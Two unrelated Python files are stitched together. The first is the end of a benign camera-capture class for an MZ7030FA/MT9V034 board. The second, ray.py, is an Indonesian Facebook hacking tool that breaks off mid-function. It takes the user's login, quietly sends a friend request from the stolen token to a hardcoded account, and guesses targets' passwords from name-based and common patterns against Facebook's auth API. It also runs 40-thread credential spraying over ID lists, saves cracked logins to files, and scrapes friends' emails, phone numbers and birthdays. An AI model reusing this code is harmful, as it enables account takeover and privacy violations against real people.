- a tuple (w, h) where w and h are integers (# of pixles) mode - can be 'direct','server','app', or 'raw' fps - integer frame/second ''' #super(Mz7030faMt9v034Cap, self).__init__(src, size, **kwargs) super().__init__(src, size, **kwargs) self._frame_buffering_proc = None # frame buffer process if type(src)==tuple: # pipe assert(type(src[0])==str and type(src[1])==int) self._sock = None if (mode=='app'): self._backend_type = _BKND_REMOTE_PIPE print('remote pipe backend') self._Open_RP() elif (mode=='direct'): self._q = None # frame FIFO (multi-process interface) self._command = Value('i', 0) self._backend_type = _BKND_LOCAL_PIPE self._maxbuf = maxbuf print('local pipe backend') self._Open_LP() elif (mode=='raw'): self._backend_type = _BKND_SOCKET self._Open_rawAPI() print('mz7030fa-mt9v034 raw API mode.') else: assert(mode=='server') pass elif type(src)==str: # url raise ValueError('not supported yet') else: raise ValueError('wrong src argument format') self.is_opened = True def isOpened(self): return self.is_opened def _socket_connect(self): try: self._sock.connect(self.src) except ConnectionRefusedError as err: print(type(err), str(err)) self._sock.close() raise ValueError("{}. Tip: Check the address2".format(str(err))) except OSError as err: msg = "{}.\nTip: Check the address1".format(str(err)) self._sock.close() raise ValueError(msg) print("Connected to !! {}:{}".format(self.src[0], str(self.src[1]))) return True def set_fps(self, fps): if not (fps in [8, 16, 24]): print("fps not supported!") else: self._set_command_value(commandset['fps'+str(fps)]) def start_stream(self): if self._backend_type==_BKND_LOCAL_PIPE: self._set_command_value(commandset['endless']) else: print('Only direct/server/app mode can start stream.\nFor raw socket API, you must use `_set_command_value()` method to send camera commands mannually.') def start(self): self.start_stream() def _set_command_value(self, val): if (self._backend_type==_BKND_SOCKET): # direct sending command via socket _send_int_to_camera(self._sock, val) else: # inform the subprocess via inter-proc Value to send a command if self._frame_buffering_proc is None: return None else: self._command.value = val sleep(0.1) while (self._command.value != 0): # waite for the child process to clear the command state. sleep(0.1) return None def get_n_buffed(self): ''' return the number of frames buffered ''' if (self.backend_type == _BKND_LOCAL_PIPE): return self._q.qsize() else: return None def stop(self): self._Close() def release(self): self._Close() def _Close(self): if (not self.is_opened): return print('closing connection.....') self.is_opened = False if self._frame_buffering_proc is not None: self._set_command_value(commandset['terminate']) while not self._q.empty(): print('clearing queue') self._q.get() print('ok') self._frame_buffering_proc.terminate() print('child process terminated') self._frame_buffering_proc = None if self._sock is not None: self._set_command_value(commandset['terminate']) empty_socket(self._sock) self._sock.shutdown(socket.SHUT_RDWR) self._sock.close() self._sock = None print('connection closed.') def _test_board_connection(self): ''' receive one frame. This function has two purposes, one is to verify the board is functioning correctly, the other is to update ARP table at both ends to ensure immidiete frame transmission ''' _send_int_to_camera(self._sock, 1) frame = _recvframes(self._sock, 1, self._Wd*self._Ht) try: assert(self._Wd*self._Ht == len(frame[0])) except AssertionError: self._Close() raise ValueError("test board connection failed.\n Frame size doesn't match!") print('board functioning OK!') del frame def _Open_RP(self): pass def _Open_LP(self): self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self._socket_connect() self._test_board_connection() self._q = Queue(maxsize=self._maxbuf) fsize_bytes = self._Wd*self._Ht self._frame_buffering_proc = Process(target=_frame_buffering_process, args=(self._sock, self._q, self._command, fsize_bytes)) self._frame_buffering_proc.start() def _Open_rawAPI(self): self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if (self._socket_connect()): self._test_board_connection() self.socket = self._sock def read(self): frame = [] if (self._backend_type == _BKND_LOCAL_PIPE): framebytes = self._q.get() for row in range(self._Ht): start = row*self._Wd frame.append(struct.unpack(str(self._Wd)+'B', framebytes[start:start+self._Wd])) return True, np.array(frame, dtype='uint8') elif (self._backend_type==_BKND_SOCKET): framebytes_l = _recvframes(self._sock, 1, self._Wd*self._Ht) return framebytes_l[0] else: return False, None def grabFrames(self, n): ''' Parameters ---------- n : int nuber of frames to grab. should be >=0 and n<21000000 Returns ------- frames : a list of bytearrays the frame data received over socket. ''' assert(type(n)==int and n>=0 and n<21000000) _send_int_to_camera(self._sock, n) frames = _recvframes(self._sock, n, self._Wd*self._Ht) return frames if __name__ == '__main__': import argparse modechoices= {'direct', 'app', 'server', 'raw'} parser = argparse.ArgumentParser(description='test mz7030fa board with single mt9v034 camera. ') parser.add_argument('-i', type=str, default='192.168.1.10', help='interface the client sends to. (default 192.168.1.10)') parser.add_argument('-p', metavar='PORT', type=int, default=1069, help='TCP port (default 1069)') parser.add_argument('-m', metavar='MODE', type=str, default='direct', choices=modechoices, help='usage mode: direct (default), server, app, or raw.') parser.add_argument('-dir', type=str, default='.', help='directory to save screenshort. (default .)') parser.add_argument('-t', type=str, default='vid', choices=['vid', 'fig'], help='play video or just show picture. (default vid)') args = parser.parse_args() ipaddr = args.i tcpport = args.p usagemode = args.m shotdir = args.dir testtype = args.t if (usagemode=='server'): # start Flask Web server pass elif (usagemode=='direct'): mz7030fa = Mz7030faMt9v034Cap(src=(ipaddr,tcpport), mode=usagemode, maxbuf=2) mz7030fa.set_fps(16) mz7030fa.start_stream() shot_idx = 0 print("Push Space/ESC key to save frame/exit.") if (testtype == 'vid'): # while True: _, img = mz7030fa.read() cv.imshow('capture', img) ch = cv.waitKey(1) if ch == 27: mz7030fa.stop() break if ch == ord(' '): fn = '%s/shot_%03d.bmp' % (shotdir, shot_idx) cv.imwrite(fn, img) print(fn, 'saved') shot_idx += 1 else: while True: n=mz7030fa.get_n_buffed() for i in range(n+1): _, img = mz7030fa.read() cv.imshow('capture', img) ch = cv.waitKey() if ch == 27: mz7030fa.stop() break if ch == ord(' '): fn = '%s/shot_%03d.bmp' % (shotdir, shot_idx) cv.imwrite(fn, img) print(fn, 'saved') shot_idx += 1 cv.destroyAllWindows() elif (usagemode=='raw'): from time import asctime # grab 10s video and save the .mp4 file mz7030fa = Mz7030faMt9v034Cap(src=(ipaddr,tcpport), mode=usagemode) mz7030fa.set_fps(24) allFrames = mz7030fa.grabFrames(240) fourcc = cv.VideoWriter_fourcc(*'DIVX') out = cv.VideoWriter(asctime().replace(' ', '-').replace(':', '')+'.avi', fourcc, 24.0, (640, 480)) for framebytes in allFrames: frame = np.array(bytearray(framebytes), dtype=np.uint8) frame = cv.cvtColor(np.reshape(frame, (480, 640)), cv.COLOR_GRAY2BGR) cv.imshow('frames', frame) ch = cv.waitKey(1) out.write(frame) mz7030fa.stop() out.release() cv.destroyAllWindows() else: print('do nothing.') pass
ray.py
# -*- coding: utf-8 -*- import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib, requests, mechanize from multiprocessing.pool import ThreadPool try: import mechanize except ImportError: os.system('pip2 install mechanize') else: try: import requests except ImportError: os.system('pip2 install requests') from requests.exceptions import ConnectionError from mechanize import Browser reload(sys) sys.setdefaultencoding('utf8') br = mechanize.Browser() br.set_handle_robots(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')] def keluar(): print '\x1b[1;91m[!] Closed' os.sys.exit() def jalan(z): for e in z + '\n': sys.stdout.write(e) sys.stdout.flush() time.sleep(0.01) logo = " \x1b[1;97m█████████\n \x1b[1;97m█▄█████▄█ \x1b[1;96m●▬▬▬▬▬▬▬▬▬๑۩۩๑▬▬▬▬▬▬▬▬●\n \x1b[1;97m█ \x1b[1;91m▼▼▼▼▼ \x1b[1;97m- _ --_-- \x1b[1;92m╔╦╗┌─┐┬─┐┬┌─ ╔═╗╔╗ \n \x1b[1;97m█ \x1b[1;97m \x1b[1;97m_-_-- -_ --__ \x1b[1;92m ║║├─┤├┬┘├┴┐───╠╣ ╠╩╗\n \x1b[1;97m█ \x1b[1;91m▲▲▲▲▲ \x1b[1;97m-- - _ -- \x1b[1;92m═╩╝┴ ┴┴└─┴ ┴ ╚ ╚═╝ \x1b[1;93m\n \x1b[1;97m█████████ \x1b[1;96m«==========✧==========»\n \x1b[1;97m ██ ██\n \x1b[1;97m╔════════════════════════════════════════════════╗\n \x1b[1;97m \x1b[1;93m* \x1b[1;97mReCode \x1b[1;91m: \x1b[1;96m RAYDEN SYNTAX \x1b[1;97m \n \x1b[1;97m \x1b[1;93m* \x1b[1;97mGitHub \x1b[1;91m: \x1b[1;92m \x1b[92mhttps://github.com/MrRayden404\x1b[ \x1b[1;97m \n \x1b[1;97m \x1b[1;93m* \x1b[1;97mFB \x1b[1;91m: \x1b[1;92\x1b[92mhttps://fb.me/raydensyntaxerror\x1b[ \x1b[1;97m \n \x1b[1;97m╚════════════════════════════════════════════════╝\n" '\n\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;93mVersi Premium \n\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;92mSilahkan Login FB Anda Di Operamini Agar\n Tidak Checkpoint\n\r\x1b[1;91m\n' def tik(): titik = [ '. ', '.. ', '... '] for o in titik: print '\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;92mLoading \x1b[1;97m' + o, sys.stdout.flush() time.sleep(1) back = 0 threads = [] berhasil = [] cekpoint = [] gagal = [] idfriends = [] idfromfriends = [] idmem = [] id = [] em = [] emfromfriends = [] hp = [] hpfromfriends = [] reaksi = [] reaksigrup = [] komen = [] komengrup = [] listgrup = [] vulnot = '\x1b[31mNot Vuln' vuln = '\x1b[32mVuln' def login(): os.system('clear') try: toket = open('login.txt', 'r') menu() except (KeyError, IOError): os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\xe2\x98\x86] \x1b[1;92mMASUK AKUN FACEBOOK \x1b[1;91m[\xe2\x98\x86]' id = raw_input('\x1b[1;91m[+] \x1b[1;36mUsername \x1b[1;91m:\x1b[1;92m ') pwd = getpass.getpass('\x1b[1;91m[+] \x1b[1;36mPassword \x1b[1;91m:\x1b[1;92m ') tik() try: br.open('https://m.facebook.com') except mechanize.URLError: print '\n\x1b[1;91m[!] Tidak Ada Koneksi' keluar() br._factory.is_html = True br.select_form(nr=0) br.form['email'] = id br.form['pass'] = pwd br.submit() url = br.geturl() if 'save-device' in url: try: sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32' data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'} x = hashlib.new('md5') x.update(sig) a = x.hexdigest() data.update({'sig': a}) url = 'https://api.facebook.com/restserver.php' r = requests.get(url, params=data) z = json.loads(r.text) zedd = open('login.txt', 'w') zedd.write(z['access_token']) zedd.close() print '\n\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mLogin success' requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token']) time.sleep(1) menu() except requests.exceptions.ConnectionError: print '\n\x1b[1;91m[!] Tidak Ada Koneksi' keluar() if 'checkpoint' in url: print '\n\x1b[1;91m[!] \x1b[1;93mAccount Has Been Checkpoint' os.system('rm -rf login.txt') time.sleep(1) keluar() else: print '\n\x1b[1;91m[!] Gagal Masuk' os.system('rm -rf login.txt') time.sleep(1) login() def menu(): try: toket = open('login.txt', 'r').read() except IOError: os.system('clear') print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: try: otw = requests.get('https://graph.facebook.com/me?access_token=' + toket) a = json.loads(otw.text) nama = a['name'] id = a['id'] ots = requests.get('https://graph.facebook.com/me/subscribers?access_token=' + toket) b = json.loads(ots.text) sub = str(b['summary']['total_count']) except KeyError: os.system('clear') print '\x1b[1;91m[!] \x1b[1;93mSepertinya akun kena Checkpoint' os.system('rm -rf login.txt') time.sleep(1) login() except requests.exceptions.ConnectionError: print logo print '\x1b[1;91m[!] Tidak Ada Koneksi' keluar() os.system('clear') print logo print '\x1b[1;97m\xe2\x95\x94' + 50 * '\xe2\x95\x90' + '╗' print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Name \x1b[1;91m: \x1b[1;92m' + nama + (39 - len(nama)) * '\x1b[1;97m ' + '║' print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m FBID \x1b[1;91m: \x1b[1;92m' + id + (39 - len(id)) * '\x1b[1;97m ' + '║' print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Subs \x1b[1;91m: \x1b[1;92m' + sub + (39 - len(sub)) * '\x1b[1;97m ' + '║' print '\x1b[1;97m╠' + 50 * '\xe2\x95\x90' + '╝' print '║-> \x1b[1;37;40m1. User Information' print '║-> \x1b[1;37;40m2. Hack Facebook ' print '║-> \x1b[1;37;40m3. Bot' print '║-> \x1b[1;37;40m4. Others' print '║-> \x1b[1;37;40m5. Update' print '║-> \x1b[1;37;40m6. Logout' print '║-> \x1b[1;31;40m0. Exit' print '\x1b[1;37;40m║' pilih() def pilih(): zedd = raw_input('╚═\x1b[1;91m▶\x1b[1;97m ') if zedd == '': print '\x1b[1;91m[!] Can\'t empty' pilih() else: if zedd == '1': informasi() else: if zedd == '2': menu_hack() else: if zedd == '3': menu_bot() else: if zedd == '4': lain() else: if zedd == '5': os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' os.system('git pull origin master') raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu() else: if zedd == '6': os.system('rm -rf login.txt') os.system('xdg-open https://m.facebook.com/raydensyntaxerror') keluar() else: if zedd == '0': keluar() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + zedd + ' \x1b[1;91mNot availabel' pilih() def informasi(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' id = raw_input('\x1b[1;91m[+] \x1b[1;92mInput ID\x1b[1;97m/\x1b[1;92mName\x1b[1;91m : \x1b[1;97m') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mMohon Tunggu \x1b[1;97m...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) cok = json.loads(r.text) for p in cok['data']: if id in p['name'] or id in p['id']: r = requests.get('https://graph.facebook.com/' + p['id'] + '?access_token=' + toket) z = json.loads(r.text) print 52 * '\x1b[1;97m\xe2\x95\x90' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mName\x1b[1;97m : ' + z['name'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mName\x1b[1;97m : \x1b[1;91mNot found' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID\x1b[1;97m : ' + z['id'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mID\x1b[1;97m : \x1b[1;91mNot found' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail\x1b[1;97m : ' + z['email'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mEmail\x1b[1;97m : \x1b[1;91mNot found' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPhone Number\x1b[1;97m : ' + z['mobile_phone'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mPhone Number\x1b[1;97m : \x1b[1;91mNot found' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mLocation\x1b[1;97m : ' + z['location']['name'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mLocation\x1b[1;97m : \x1b[1;91mNot found' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mBirthday\x1b[1;97m : ' + z['birthday'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mBirthday\x1b[1;97m : \x1b[1;91mNot found' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mSchool\x1b[1;97m : ' for q in z['education']: try: print '\x1b[1;91m ~ \x1b[1;97m' + q['school']['name'] except KeyError: print '\x1b[1;91m ~ \x1b[1;91mNot found' except KeyError: pass raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu() else: print '\x1b[1;91m[\xe2\x9c\x96] User not found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu() def menu_hack(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' print '║-> \x1b[1;37;40m1. Mini Hack Facebook (\x1b[1;92mTarget\x1b[1;97m)' print '║-> \x1b[1;37;40m2. Multi Bruteforce Facebook' print '║-> \x1b[1;37;40m3. Super Multi Bruteforce Facebook' print '║-> \x1b[1;37;40m4. BruteForce (\x1b[1;92mTarget\x1b[1;97m)' print '║-> \x1b[1;37;40m5. Yahoo Checker' print '║-> \x1b[1;37;40m6. Get ID/Email/HP' print '║-> \x1b[1;31;40m0. Back' print '\x1b[1;37;40m║' hack_pilih() def hack_pilih(): hack = raw_input('╚═\x1b[1;91m▶\x1b[1;97m ') if hack == '': print '\x1b[1;91m[!] Can\'t empty' hack_pilih() else: if hack == '1': mini() else: if hack == '2': crack() hasil() else: if hack == '3': super() else: if hack == '4': brute() else: if hack == '5': menu_yahoo() else: if hack == '6': grab() else: if hack == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + hack + ' \x1b[1;91mNot found' hack_pilih() def mini(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[ INFO ] Target must be your friend !' try: id = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') r = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) a = json.loads(r.text) print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mName\x1b[1;97m : ' + a['name'] jalan('\x1b[1;91m[+] \x1b[1;92mChecking \x1b[1;97m...') time.sleep(2) jalan('\x1b[1;91m[+] \x1b[1;92mOpen security \x1b[1;97m...') time.sleep(2) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') print 52 * '\x1b[1;97m\xe2\x95\x90' pz1 = a['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mFounded.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mFounded.' print '\x1b[1;91m[!] \x1b[1;93mAccount Maybe Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() else: pz2 = a['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mFounded.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mFounded.' print '\x1b[1;91m[!] \x1b[1;93mAccount Maybe Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() else: pz3 = 'sayang2' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mFounded.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mFounded.' print '\x1b[1;91m[!] \x1b[1;93mAccount Maybe Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() else: pz4 = 'sayang' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mFounded.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mFounded.' print '\x1b[1;91m[!] \x1b[1;93mAccount Maybe Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() else: pz5 = 'bangsat' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mFounded.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz5 raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mFounded.' print '\x1b[1;91m[!] \x1b[1;93mAccount Maybe Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz5 raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() else: print '\x1b[1;91m[!] Sorry, opening password target failed :(' print '\x1b[1;91m[!] Try other method.' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() except KeyError: print '\x1b[1;91m[!] Terget not found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() def crack(): global file global idlist global passw os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' idlist = raw_input('\x1b[1;91m[+] \x1b[1;92mFile ID \x1b[1;91m: \x1b[1;97m') passw = raw_input('\x1b[1;91m[+] \x1b[1;92mPassword \x1b[1;91m: \x1b[1;97m') try: file = open(idlist, 'r') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') for x in range(40): zedd = threading.Thread(target=scrak, args=()) zedd.start() threads.append(zedd) for zedd in threads: zedd.join() except IOError: print '\x1b[1;91m[!] File not found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() def scrak(): global back global berhasil global cekpoint global gagal global up try: buka = open(idlist, 'r') up = buka.read().split() while file: username = file.readline().strip() url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + passw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' data = urllib.urlopen(url) mpsh = json.load(data) if back == len(up): break if 'access_token' in mpsh: bisa = open('Berhasil.txt', 'w') bisa.write(username + ' | ' + passw + '\n') bisa.close() berhasil.append('\x1b[1;97m[\x1b[1;92m\xe2\x9c\x93\x1b[1;97m] ' + username + ' | ' + passw) back += 1 else: if 'www.facebook.com' in mpsh['error_msg']: cek = open('Cekpoint.txt', 'w') cek.write(username + ' | ' + passw + '\n') cek.close() cekpoint.append('\x1b[1;97m[\x1b[1;93m\xe2\x9c\x9a\x1b[1;97m] ' + username + ' | ' + passw) back += 1 else: gagal.append(username) back += 1 sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;91m:\x1b[1;97m ' + str(back) + ' \x1b[1;96m>\x1b[1;97m ' + str(len(up)) + ' =>\x1b[1;92mLive\x1b[1;91m:\x1b[1;96m' + str(len(berhasil)) + ' \x1b[1;97m=>\x1b[1;93mCheck\x1b[1;91m:\x1b[1;96m' + str(len(cekpoint))) sys.stdout.flush() except IOError: print '\n\x1b[1;91m[!] Connection busy' time.sleep(1) except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] No connection' def hasil(): print print 52 * '\x1b[1;97m\xe2\x95\x90' for b in berhasil: print b for c in cekpoint: print c print print '\x1b[31m[x] Failed \x1b[1;97m--> ' + str(len(gagal)) keluar() def super(): global toket os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' print '║-> \x1b[1;37;40m1. Crack from Friends' print '║-> \x1b[1;37;40m2. Crack from Group' print '║-> \x1b[1;37;40m3. Crack from File' print '║-> \x1b[1;31;40m0. Kembali' print '\x1b[1;37;40m║' pilih_super() def pilih_super(): peak = raw_input('╚═\x1b[1;91m▶\x1b[1;97m ') if peak == '': print 